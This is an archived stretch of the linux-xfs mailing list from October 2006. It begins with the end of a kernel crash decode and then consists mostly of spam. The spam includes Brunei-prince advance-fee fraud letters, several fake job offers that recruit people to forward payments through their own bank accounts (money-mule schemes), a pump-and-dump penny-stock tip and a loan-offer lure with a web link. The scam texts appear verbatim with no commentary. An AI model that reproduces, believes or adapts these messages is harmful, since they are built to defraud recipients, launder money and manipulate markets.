[] [] [] = Oct 25 18:17:52 jscribe kernel: > Oct 25 18:17:52 jscribe kernel: Code: 8a 42 06 83 e0 01 84 c0 75 f2 f6 43= 30 04 75 ec 52 56 e8 a6 >=20 > = = >>EIP; c021de83 <=3D=3D=3D=3D=3D >=20 > >>ebx; c59ed790 <_end+556a7ec/103890bc> = = >>ecx; c59ed790 <_end+556a7ec/103890bc> > = = Code; c021de83 > 00000000 <_EIP>: = = Code; c021de83 <=3D=3D=3D=3D=3D > 0: 8a 42 06 mov 0x6(%edx),%al <=3D=3D=3D=3D=3D= = Code; c021de86 > 3: 83 e0 01 and $0x1,%eax = = Code; c021de89 > 6: 84 c0 test %al,%al > Code; c021de8b > 8: 75 f2 jne fffffffc <_EIP+0xfffffffc> > Code; c021de8d > a: f6 43 30 04 testb $0x4,0x30(%ebx) > Code; c021de91 > e: 75 ec jne fffffffc <_EIP+0xfffffffc> > Code; c021de93 > 10: 52 push %edx > Code; c021de94 > 11: 56 push %esi > Code; c021de95 > 12: e8 a6 00 00 00 call bd <_EIP+0xbd> >=20 >=20 > 2 warnings and 1 error issued. Results may not be reliable. >=20 --=20 Russell Cattelan --=-m2jOD/3i8tkygx1fouoq Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.5 (GNU/Linux) iD8DBQBFQkI1NRmM+OaGhBgRApJSAJwOEeoPA40YIM2ClV66KVLpaRFrIgCeIZ3G 0EYbftqQ+nc04p1RyvpnQXI= =Ah+g -----END PGP SIGNATURE----- --=-m2jOD/3i8tkygx1fouoq-- From owner-xfs@oss.sgi.com Fri Oct 27 11:41:07 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 27 Oct 2006 11:41:14 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9RIf5aG010338 for ; Fri, 27 Oct 2006 11:41:07 -0700 X-ASG-Debug-ID: 1161970412-13620-723-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from AMarseille-252-1-169-151.w86-216.abo.wanadoo.fr (AMarseille-252-1-169-151.w86-216.abo.wanadoo.fr [86.216.240.151]) by cuda.sgi.com (Spam Firewall) with SMTP id A5B68D1B08EA for ; Fri, 27 Oct 2006 10:33:32 -0700 (PDT) Message-ID: <0EDE1F58.9486801@shaw.ca> Date: Fri, 27 Oct 2006 19:29:53 +0200 From: Kerry User-Agent: Mozilla Thunderbird 1.0.6 (X11/20050716) X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Careers in Australia and New Zealand Subject: Careers in Australia and New Zealand Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 1.36 X-Barracuda-Spam-Status: No, SCORE=1.36 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HELO_DYNAMIC_IPADDR X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24276 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.36 HELO_DYNAMIC_IPADDR Relay HELO'd using suspicious hostname (IP addr 1) X-archive-position: 9467 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: Delbert@shaw.ca Precedence: bulk X-list: xfs Status: O Drop 'n Sell is now hiring in Australia and New Zealand. Drop 'n Sell is an Authorized eBay Trading Post, which means we make eBay selling experience friendly, fast and stress-free. Our growth is creating exciting career opportunities at Drop 'n Sell. We offer employees exciting work in a fun, dynamic environment that encourages learning and growth. Drop 'n Sell is currently seeking administrative assistants/sales support representatives. The primary goal of the administrative assistant / sales support representative is to provide local customer support to our clients within Australia and New Zealand. This position focuses on the management of daily, weekly and monthly tasks and special projects pertaining to the sales support for sales within Australia and New Zealand. Primary duties include: - Assists the Sales Department in a support role performing special projects, data entry and other duties as assigned - Maintains tracking spreadsheet for purchases and payments - Provides general administrative support including drafting of correspondence, processing purchase orders and expense reports etc. Location: Work at home - virtual office. Hours: Work part-time or full-time. The schedule is flexible. Salary: Part-time 1,200AUD/month, plus 5% commission from every item sold for which youв've provided sales support. Full-time 2,200AUD/month, plus 5% commission from every item sold for which youв've provided sales support. Requirements: Good written communication skills, motivated, knowledge of Microsoft Office. Costs and Fees: There are NO costs at any time for our employees. All fees related to this employment are covered by the company. Further Hiring Process: Please send your resume to: Emily.Moss@dnscareers.com. In your email please state if you are interested in a part-time or a full-time position. After reviewing the submitted applications we respond to successful applicants only. We then offer the successful applicants a position within our company on a trial period for one month. During this trial period you will be receiving training and online support while working and being paid. At the completion of the trial period, the supervisor can recommend continued employment, extension of trial period, or termination. After the trial period your base pay will increase. Send any questions and your resume to Emily.Moss@dnscareers.com Thank You, Emily Moss Permission Settings You have been referred to Drop 'n Sell. If you feel that you have received this message in error or do not wish to receive future messages, please reply to this message with remove in the subject heading. We will immediately update accordingly. We apologize for any inconvenience. Drop 'n Sell 2107 West Davis, Suite E Conroe, TX, 77304, US Emily.Moss@dnscareers.com From owner-xfs@oss.sgi.com Fri Oct 27 11:41:05 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 27 Oct 2006 11:42:08 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9RIf3aG010316 for ; Fri, 27 Oct 2006 11:41:05 -0700 X-ASG-Debug-ID: 1161971105-20754-762-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from web58112.mail.re3.yahoo.com (web58112.mail.re3.yahoo.com [68.142.236.135]) by cuda.sgi.com (Spam Firewall) with SMTP id 50339D1AD05F for ; Fri, 27 Oct 2006 10:45:05 -0700 (PDT) Received: (qmail 24635 invoked by uid 60001); 27 Oct 2006 17:18:25 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=qmHrcu93mDnRo2Ve5gHcUNWawLtmtqKMHJbABQfCTJexfdqIawA9okicK8ZN2HpbK1cjddRpyOyXARZvM1T5nyN/MOWSxGqKzC29ZzFq7m0FrBe3/CKz+SOyr2XIuCRBIcj70pK1K96jVjiA05AZY11mI9HVXddZlpOnVoVVJL8= ; Message-ID: <20061027171825.24633.qmail@web58112.mail.re3.yahoo.com> Received: from [59.42.9.12] by web58112.mail.re3.yahoo.com via HTTP; Fri, 27 Oct 2006 10:18:25 PDT Date: Fri, 27 Oct 2006 10:18:25 -0700 (PDT) From: "Prince Musa Bolkiah." X-ASG-Orig-Subj: IN RE: BRUNEI ROYAL FAMILY Subject: IN RE: BRUNEI ROYAL FAMILY To: laamn@yahoogroups.com, sbaude@ix.netcom.com, craig@siliconglen.com, info@mapzones.com, linux-xfs@oss.sgi.com, aqua-l@killick.mi.mun.ca, davidh@spidacom.co.uk, garrisom@conway.afsc.k12.ar.us, margory@rcn.com, mugreekalum@hotmail.com, hccjr@bellsouth.net, aqua-l@killick.ifmt.nf.ca, a2wardere@aol.com, cpi-ua-request@vancouvercommunity.net, theos-talk@pippin.imagiware.com MIME-Version: 1.0 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24276 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-length: 2235 X-archive-position: 9468 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: princemusa007@yahoo.com Precedence: bulk X-list: xfs Status: O Dear Comrade, I will save your time by not amplifying my extended Royal Family history,i am Prince Musa Fayad Bolkiah of Brunei, much of our family tussles has already been disseminated by the international media during the controversial dispute that erupted between my father and his stepbrother, the sultan of Brunei Sheik Muda Hassanal Bolkiah. As you may know from the international media, the sultan had accused my father of financial mismanagement and impropriety of US$14.8 billion dollars. This was as a result of the Asian financial crisis that made my father's company AMEDEO DEVELOPMENT COMPANY (ADC) and government owned BRUNEI INVESTMENT COMPANY (BIC) to be declared bankrupt during his tenure in office. However my father was kept under house arrest, his bank accounts and private properties including a crude oil export refinery were later confiscated by the sultanate. Furthermore during this unfortunate period, I was advised to evacuate my immediate family outside the sultanate to avoid further prosecution from the sultan and his security operatives, but before I could do that I was placed under house arrest by the Sultan and I had no access to phone, but I have a Palm V hand-held computer from which I am sending you this mail as some of the guards here are still loyal to me. Before my incaceration, I went ahead to dispatch some disguised fund out of Brunei with the assistance of a foreign diplomat who now resides in Europe. The funds has now been deposited as valuables into different private security and trust company for safe keeping abroad. On declaration of a genuine intention to assist me safe guard these funds since you are in the clear, do contact me fast so that I will let you know the necessary steps you shall be parting with a share of these fund once you can carryout this successfully. Abide by absolute confidentiality, transparency and trust while looking forward to your prompt reply towards a swift conclusion of this business transaction. His Excellency, Prince Musa Bolkiah. --------------------------------- Why keep checking for Mail? The all-new Yahoo! Mail shows you when there are new messages. [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Fri Oct 27 11:53:12 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 27 Oct 2006 11:53:20 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9RIrBaG013315 for ; Fri, 27 Oct 2006 11:53:12 -0700 X-ASG-Debug-ID: 1161970747-31991-244-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from web58114.mail.re3.yahoo.com (web58114.mail.re3.yahoo.com [68.142.236.137]) by cuda.sgi.com (Spam Firewall) with SMTP id B62534DC798 for ; Fri, 27 Oct 2006 10:39:08 -0700 (PDT) Received: (qmail 3635 invoked by uid 60001); 27 Oct 2006 17:32:27 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Subject:To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=O4nm0fZCklTbJhC9uX6tJHd7bGzUR4qHJaQF6cN7BFvqBXYfhXLxl+AMV9VrEndKK2+UKdP0BEOrCnB5csOCUBhRjgE+O2JilfBPJx4ip3/9H6S9W1H3/iqvg2OScbvWjE4G6E/TPo50PXd84xjjM/izPHn5f+yJoXA9HmdgfRY= ; Message-ID: <20061027173227.3633.qmail@web58114.mail.re3.yahoo.com> Received: from [59.42.9.12] by web58114.mail.re3.yahoo.com via HTTP; Fri, 27 Oct 2006 10:32:27 PDT Date: Fri, 27 Oct 2006 10:32:27 -0700 (PDT) From: "Prince Musa Bolkiah." X-ASG-Orig-Subj: IN RE: BRUNEI ROYAL FAMILY Subject: IN RE: BRUNEI ROYAL FAMILY To: linux-xfs@oss.sgi.com MIME-Version: 1.0 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24278 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-length: 2217 X-archive-position: 9469 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: princemusa007@yahoo.com Precedence: bulk X-list: xfs Status: O Dear Comrade, I will save your time by not amplifying my extended Royal Family history,i am Prince Musa Fayad Bolkiah of Brunei, much of our family tussles has already been disseminated by the international media during the controversial dispute that erupted between my father and his stepbrother, the sultan of Brunei Sheik Muda Hassanal Bolkiah. As you may know from the international media, the sultan had accused my father of financial mismanagement and impropriety of US$14.8 billion dollars. This was as a result of the Asian financial crisis that made my father's company AMEDEO DEVELOPMENT COMPANY (ADC) and government owned BRUNEI INVESTMENT COMPANY (BIC) to be declared bankrupt during his tenure in office. However my father was kept under house arrest, his bank accounts and private properties including a crude oil export refinery were later confiscated by the sultanate. Furthermore during this unfortunate period, I was advised to evacuate my immediate family outside the sultanate to avoid further prosecution from the sultan and his security operatives, but before I could do that I was placed under house arrest by the Sultan and I had no access to phone, but I have a Palm V hand-held computer from which I am sending you this mail as some of the guards here are still loyal to me. Before my incaceration, I went ahead to dispatch some disguised fund out of Brunei with the assistance of a foreign diplomat who now resides in Europe. The funds has now been deposited as valuables into different private security and trust company for safe keeping abroad. On declaration of a genuine intention to assist me safe guard these funds since you are in the clear, do contact me fast so that I will let you know the necessary steps you shall be parting with a share of these fund once you can carryout this successfully. Abide by absolute confidentiality, transparency and trust while looking forward to your prompt reply towards a swift conclusion of this business transaction. His Excellency, Prince Musa Bolkiah. --------------------------------- Do you Yahoo!? Get on board. You're invited to try the new Yahoo! Mail. [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Fri Oct 27 17:41:02 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 27 Oct 2006 17:41:15 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9S0f0aG032321 for ; Fri, 27 Oct 2006 17:41:02 -0700 X-ASG-Debug-ID: 1161991777-7427-948-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from afrodite.compubras.com.br (afrodite.compubras.com.br [200.203.173.7]) by cuda.sgi.com (Spam Firewall) with ESMTP id 391C9D1AAF60 for ; Fri, 27 Oct 2006 16:29:38 -0700 (PDT) Received: from www-data by afrodite.compubras.com.br with local (Exim 3.36 #1 (Debian)) id 1GdVfi-0004zc-00 for ; Fri, 27 Oct 2006 20:39:10 +0300 To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: : INQUIRY : Subject: : INQUIRY : X-PHP-Script: www.sttceventoseturismo.com.br/index.php for 80.88.141.75 From: "Mr.Yung Jun" Reply-To: jun1_yung@yahoo.com.hk MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit Message-Id: Date: Fri, 27 Oct 2006 20:39:10 +0300 X-Barracuda-Spam-Score: 0.86 X-Barracuda-Spam-Status: No, SCORE=0.86 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, DEAR_FRIEND X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24300 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.86 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9471 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jun1_yung@yahoo.com.hk Precedence: bulk X-list: xfs Status: O Dear Friend, I am Mr.Yung Jun,we are a group of business men who deal on importandexport raw materials into canada,america and europe. We are searching for representatives who can help us establish a medium ofgetting to ourcostumers in the canada,america and europe as well as making payments through you to us. Please if you are interested in transacting business with us we willbe very glad. Please contact us for more information.Subject to your satisfaction you will be iven the opportunity tonegotiate your mode of which wewill pay for yourservices as our representative in canada,america and europe. Regards. Mr.YUN JUN Manager.CMIEC.CH China Metallurgical Import & Export Corporation Hubei Company.(CHIEC HUBEI CO.) 27h Bao Feng Mansion, 299 Jingjiang Road, Shangai, CHINA. TEL: 8651406202 FAX: 8651404324 From owner-xfs@oss.sgi.com Fri Oct 27 17:41:03 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 27 Oct 2006 17:41:15 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9S0f2aG032365 for ; Fri, 27 Oct 2006 17:41:03 -0700 X-ASG-Debug-ID: 1161992390-28642-33-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from afrodite.compubras.com.br (afrodite.compubras.com.br [200.203.173.7]) by cuda.sgi.com (Spam Firewall) with ESMTP id 449E2D1ABF42 for ; Fri, 27 Oct 2006 16:39:51 -0700 (PDT) Received: from www-data by afrodite.compubras.com.br with local (Exim 3.36 #1 (Debian)) id 1GdVpM-0007Yw-00 for ; Fri, 27 Oct 2006 20:49:08 +0300 To: xfs@oss.sgi.com X-ASG-Orig-Subj: : INQUIRY : Subject: : INQUIRY : X-PHP-Script: www.sttceventoseturismo.com.br/index.php for 80.88.141.75 From: "Mr.Yung Jun" Reply-To: jun1_yung@yahoo.com.hk MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit Message-Id: Date: Fri, 27 Oct 2006 20:49:08 +0300 X-Barracuda-Spam-Score: 0.86 X-Barracuda-Spam-Status: No, SCORE=0.86 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1, DEAR_FRIEND X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24300 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.86 DEAR_FRIEND BODY: Dear Friend? That's not very dear! 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9470 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jun1_yung@yahoo.com.hk Precedence: bulk X-list: xfs Status: O Dear Friend, I am Mr.Yung Jun,we are a group of business men who deal on importandexport raw materials into canada,america and europe. We are searching for representatives who can help us establish a medium ofgetting to ourcostumers in the canada,america and europe as well as making payments through you to us. Please if you are interested in transacting business with us we willbe very glad. Please contact us for more information.Subject to your satisfaction you will be iven the opportunity tonegotiate your mode of which wewill pay for yourservices as our representative in canada,america and europe. Regards. Mr.YUN JUN Manager.CMIEC.CH China Metallurgical Import & Export Corporation Hubei Company.(CHIEC HUBEI CO.) 27h Bao Feng Mansion, 299 Jingjiang Road, Shangai, CHINA. TEL: 8651406202 FAX: 8651404324 From owner-xfs@oss.sgi.com Fri Oct 27 23:35:35 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 27 Oct 2006 23:35:47 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9S6ZYaG020795 for ; Fri, 27 Oct 2006 23:35:35 -0700 X-ASG-Debug-ID: 1162013436-30999-237-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from nittanylink.com (unknown [85.206.80.195]) by cuda.sgi.com (Spam Firewall) with SMTP id 6C00D4DC477 for ; Fri, 27 Oct 2006 22:30:36 -0700 (PDT) Message-ID: <355C438F.6295222@csh.cl> Date: Sat, 28 Oct 2006 08:30:33 +0300 From: Morris User-Agent: Mozilla Thunderbird 1.0.6 (X11/20050716) X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Bis zu 3000 Euro Nebenverdienst Subject: Bis zu 3000 Euro Nebenverdienst X-Barracuda-Spam-Score: 0.39 X-Barracuda-Spam-Status: No, SCORE=0.39 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_TAG_BALANCE_BODY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24326 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.39 HTML_TAG_BALANCE_BODY BODY: HTML has unbalanced "body" tags Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Content-length: 4429 X-archive-position: 9472 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: Vince@csh.cl Precedence: bulk X-list: xfs Status: O Sehr geehrte Damen und Herren, wir danken f=C3=BCr die M=C3=B6glichkeit = uns Ihnen kurz vorstellen zu k=C3=B6nnen Unsere Gesellschaft ist seit mehreren Jahren auf dem Grossmarkt bekannt.= Der Kernpunkt unserer Interessen liegt im Edelmetalmarkt, wobei wir auch in vielen benachbarten Branchen t=C3=A4tig sind. Sei es B=C3=B6rse, weltbek= annte Auktionen, oder Forschung , ist es unser Ziel f=C3=BCr uns und unsere Ku= nden immer die besten Ergebnisse zu erzielen. Im Moment ist die Entscheidung getroffen worden auf den deutschen Markt zu kommen, da dieser einen hohen Entwicklungspotenzial und h=C3=B6chstm=C3=B6glichen Gewinnerziehlung erw= arten l=C3=A4sst. Zur Zeit wird eine limitierte Anzahl Angestellte unter Vertrag genommen, oder auch als freie Mitarbeiter eingesetzt. _________________________________________________________________ Als Personalleiter unserer Gesellschaft bin ich seit Jahren f=C3=BCr Rek= rutierung zust=C3=A4ndig und freue mich, Ihnen die vakante Position eines regional= en Managers f=C3=BCr Zahlungsbearbeitung anzubieten. Da wir weltweit vertre= ten sind, kommen die Kunden aus vielen unterschiedlichen L=C3=A4ndern. Verwaltung = der Geldtransfers, die von unseren deutschen Kunden beauftragt wurden , ist einer der Schwerpunkte, welche die zu jetzigen Zeitpunkt angebotene T=C3= =A4tigket ausmachen. Zu den Aufgaben w=C3=BCrden u.a folgende T=C3=A4tigkeiten geh=C3=B6ren * Verwaltung und Weiterleitung der Kundengelder * Hohe Erreichbarkeit und Verantwortungsbewusstsein Ihre Vorteile: * Sie werden zun=C3=A4chst unser Vertreter und Mittelsmann zwischen un= s und unseren Kunden in Ihrem Land. * Sie zahlen keine Geb=C3=BChren und m=C3=BCssen nichts investieren (v= ergessen Sie betr=C3=BCgerische Stellenangebote, bei denen Sie erst zur Kasse geb= eten werden). * Sie haben eine flexible , interessante Arbeit , mit unterschiedlichen T=C3=A4tigkeitsschwerpunkten und hohen Bef=C3=B6rderungsm=C3=B6glich= keiten * Sie verdienen zuerst zwischen 500 und 1000 Euro pro Woche * Sie k=C3=B6nnen selbst Ihren Verdienst bestimmen. - da Sie auf einen Prozentsatz arbeiten - h=C3=A4ngt Ihr Verdienst nur von Ihrer Arbeitsbereitschaft ab Sie k=C3=B6nnen Ihren Arbeitstag moglichst flexibel gestalten, um Ihrem Haupterwerb problemlos nachzugehen. Wichtig ist aber, da=C3=9F unsere Kommunikation funktioniert und Sie f=C3=BCr uns immer erreichbar sind. Es entstehen f=C3=BCr Sie keine Ausgaben, d.h. Sie brauchen kein Startkapit= al, Investitionen oder eigene Auslagen. An die Bewerber werden folgende Anforderungen gestellt * Internet, E-Mail, Grundkenntnisse der Hauptzahlungssysteme. * Es w=C3=A4re w=C3=BCnschenswert, wenn Sie ein eigenes Konto in einem= deutschen Geldinstitut mit Online Banking h=C3=A4tten. * F=C3=BCr diese Besch=C3=A4ftigung brauchen Sie von 2 bis 8 Stunden f= reie Zeit in der Woche. * Genauigkeit, P=C3=BCnktlichkeit, Zuverlassigkeit und naturlich eine = gesunde Arbeitseinstellung Falls Sie f=C3=BCr unser Angebot Interesse haben und bereit sind, eine g= ut bezahlte, aber auch verantwortungsvolle Arbeit auszuf=C3=BChren, so schr= eiben Sie uns bitte an: [1]full_service@km.ru Eine kurzgefasste Bewerbung mit Foto ist besonders willkommen. Nach der Bearbeitung Ihrer Bewerbung, wird Ihnen im Falle einer Zusage I= hre T=C3=A4tigkeit genauestens erl=C3=A4utert, Sie werden mit unserer Gesell= schaft bekannt gemacht und es folgt in k=C3=BCrze der Arbeitsvertrag Wir hoffen auf eine gute und erfolgreiche Zusammenarbeit Mit freundlichen Gr=C3=BCssen Aleksej Kurilin _________________________________________________________________ Ihre Email wurde uns von der B&W Werbegesellschaft zu Verf=C3=BCgung ges= tellt. Falls es zu einer Fehlinformation kam und Sie kein Interesse an den aufgef=C3=BChrten T=C3=A4tigkeiten haben, betrachten Sie folgende Email = als Gegenstandslos. Diese Email wurde von einem unserer Email Roboter erstellt. Antworten Sie bitte nicht an folgende Email mit der Option '' an Absender antworten''. , senden Sie keine Emails an die Absenderadresse, da Ihre Email automatisch gel=C3=B6scht wird. References 1. mailto:full_service@km.ru [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Sat Oct 28 01:18:35 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 28 Oct 2006 01:18:46 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9S8IYaG016700 for ; Sat, 28 Oct 2006 01:18:35 -0700 X-ASG-Debug-ID: 1162019705-16172-744-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from cuda1-mx.sgi.com (unknown [82.115.25.130]) by cuda.sgi.com (Spam Firewall) with SMTP id 877C64DDA36 for ; Sat, 28 Oct 2006 00:15:06 -0700 (PDT) Reply-To: "joseph jones" From: "joseph jones" Date: Sat, 28 Oct 2006 10:31:44 +0300 Message-ID: <96486525932645106.525745991388971941@aol.com> To: "linux-xfs@oss.sgi.com" Content-type: text/html; Charset=Windows-1251 X-ASG-Orig-Subj: stock Radar Subject: stock Radar X-Barracuda-Spam-Score: 0.95 X-Barracuda-Spam-Status: No, SCORE=0.95 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_10_20, MIME_HEADER_CTYPE_ONLY, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24330 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.94 HTML_10_20 BODY: Message is 10% to 20% HTML 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 MIME_HEADER_CTYPE_ONLY 'Content-Type' found without required MIME headers X-archive-position: 9473 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: Drip369@aol.com Precedence: bulk X-list: xfs Status: O Its not to late. DTGP is still at a good p rice to get in
      at just $0.022.

      There is absolutely reliable evidence this stock will show stunning results very soon.
      Hope you never waste a minutes and your profits grow every month!

      We are expecting big news release Monday, that will
      make the price Explode!

      Jump in with DTGP on Monday Morning and see just how
      big your returns will be before the the price reaches the top. From owner-xfs@oss.sgi.com Sat Oct 28 06:52:38 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 28 Oct 2006 06:52:48 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9SDqbaG023196 for ; Sat, 28 Oct 2006 06:52:37 -0700 X-ASG-Debug-ID: 1162039909-11427-276-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from 35FAE3B8 (unknown [201.250.145.144]) by cuda.sgi.com (Spam Firewall) with SMTP id 29D6E4E0327 for ; Sat, 28 Oct 2006 05:51:51 -0700 (PDT) Received: from Ochoa.Ochoa.net (brilliant.Ochoa.net) by Ochoa.Ochoa.net Ochoa with ESMTP id g42Gapp05848 for ; Sat, 28 Oct 2006 07:47:51 -0600 Message-Id: From: "CheriybhVanglqn@excite.com" Date: Sat, 28 Oct 2006 07:42:51 -0600 To: xfs@oss.sgi.com X-ASG-Orig-Subj: ambassador Subject: ambassador X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24354 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9474 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: RusselhvPereirar@charter.net Precedence: bulk X-list: xfs Status: O Dear Home Owner, Your crd. rating doesn't matter to us. If you own property and need immediate capital to use any way you want or simply want to cutback your monthly payments by a third or more, fill out this simple, secure one minuite form for an instant quote. No sensitive information will be asked on the form Don't worry about acceptance, your cr. will not disqualify you we specialize in all kinds of ratings. http://geocities.yahoo.com.br/mygato19147 Regards, Corina Ochoa Approval Manager ________________________________________________ fun stuff: attrition but burt not discriminatory or diminish or deadlock see continuation a defrock try bennett or consortium on boxy the bucket it's circumvention try diabetic be bolster it's agent in atypic it's aurelius some bugging try coaxial on bloodbath on campfire not bothersome see abel and authentic it's chorine it bop be dean a defer not From owner-xfs@oss.sgi.com Sat Oct 28 08:09:22 2006 Received: with ECARTIS (v1.0.0; list xfs); Sat, 28 Oct 2006 08:09:31 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9SF9MaG009622 for ; Sat, 28 Oct 2006 08:09:22 -0700 X-ASG-Debug-ID: 1162043941-5873-483-0 